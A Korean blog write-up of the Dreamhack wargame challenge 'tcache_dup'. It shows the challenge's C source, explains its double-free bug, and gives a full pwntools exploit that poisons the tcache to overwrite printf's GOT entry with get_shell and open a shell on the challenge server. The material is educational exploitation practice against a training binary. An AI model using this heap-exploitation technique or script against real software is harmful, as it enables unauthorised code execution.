[Dreamhack] System Hacking Stage 12 - tcache_dup

2022. 5. 2. 00:57·Hacking/System

문제

문제에서 주어진 코드이다.

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if(cnt > 10) {
        return -1; 
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if(!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if(idx > 10) {
        return -1; 
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while(1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch(idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

취약점 탐색

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

setvbuf 함수에 인자로 stdin과 stdout을 전달하는데, 이 포인터 변수들은 각각 libc 내부의 IO_2_1_stdin과 IO_2_1_stdout을 가리킨다.

따라서 이 중 한 변수의 값을 읽으면, 그 값을 이용하여 libc의 주소를 계산할 수 있다.

이 포인터들은 전역 변수로서 bss에 위치하는데, PIE가 적용되어 있지 않으므로 포인터들의 주소는 고정되어 있다.

Tcache Poisoning으로 포인터 변수의 주소에 청크를 할당하여 그 값을 읽을 수 있을 것이다.

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if(idx > 10) {
        return -1; 
    }

    free(ptr[idx]);
}

ptr[idx]를 해제하고 나서 ptr[idx]포인터를 초기화하지 않으므로 이를 다시 해제하는 것이 가능하다.

즉, Double Free 취약점이 존재한다.

 

익스플로잇 코드

일단 checksec로 정보를 파악하자.

먼저, 코드를 컴파일하고 checksec으로 보호 기법을 파악했다.

NX와 FULL RELRO 보호 기법이 적용된 것을 확인할 수 있다.

이런 경우, 훅을 덮는 공격을 고려해볼 수 있다.

from pwn import *

#context.log_level = 'debug'
p = remote("host1.dreamhack.games", 12534)
elf = ELF("./tcache_dup")

get_shell = elf.symbols["get_shell"]
got_printf = elf.got["printf"]

def create(size, data):
   p.sendlineafter(">", "1")
   p.sendlineafter("Size: ", str(size))
   p.sendlineafter("Data: ", str(data))

def delete(idx):
   p.sendlineafter(">", "2")
   p.sendlineafter("idx: ", str(idx))

create(0x10, "A"*0x10)
delete(0)
delete(0)

p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(got_printf))

create(0x10, "A"*0x10)

p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(get_shell))

p.interactive()

작성한 익스플로잇 코드이다.

create(0x10, "A"*0x10)
delete(0)
delete(0)

delete(0)을 2번 해서 Double free bug가 발생하도록 한다.

p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(got_printf))

tcache_entry에 size가 16이고 data는 printf@got의 주소를 재할당해준다.

원래는 create(0x8, p64(got_printf))로 할당했는데 에러가 발생해서 이렇게 바꿨다.

create(0x10, "A"*0x10)

아직 tcache_entry에는 첫 번째 청크의 주소가 저장되어 있기 때문에 재할당해준다.

p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(get_shell))

got_overwrite를 위해 데이터에 get_shell 함수의 주소를 보낸다.

무사히 해결했다.

'Hacking/System' 카테고리의 다른 글
  • [Pwnable.kr] bof
  • [Dreamhack] System Hacking Stage 12 - tcache_dup2
  • [Dreamhack] System Hacking Stage 12 - Exploit Tech: Tcache Poisoning
  • [Dreamhack] System Hacking Stage 12 - Memory Corruption: Double Free Bug
단축키실행해보세요
단축키실행해보세요
공대생
  • 단축키실행해보세요
    Ctrl + Shift + ESC
    단축키실행해보세요
  • 전체
    오늘
    어제
    • 분류 전체보기 (171)
      • 외부 활동 (4)
      • BOJ (36)
        • Python (24)
        • C++ (12)
        • Java (0)
      • Hacking (91)
        • Crypto (4)
        • Forensics (2)
        • Mobile Hacking (5)
        • Reversing (21)
        • System (21)
        • Web Hacking (38)
      • Cloud (14)
        • Serverless (1)
        • AWS (8)
      • ML (5)
      • Data Structure (16)
      • Git (0)
      • DevOps (0)
        • Terraform (0)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    AWS
    SAA
    backjoon
    basicrce3
    XPath
    Reflected
    beebox
    c
    pwnable
    htmlinjection
    백준
    AI
    bWAPP
    Dreamhack
    SISS
    python
    부하테스트
    datastructure
    자료구조
    cloud
    EC2
    CodeEngn
    Reversing
    acc
    Redis
    S3
    Systemhacking
    System
    유석종교수님
    ML
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
단축키실행해보세요
[Dreamhack] System Hacking Stage 12 - tcache_dup
상단으로

티스토리툴바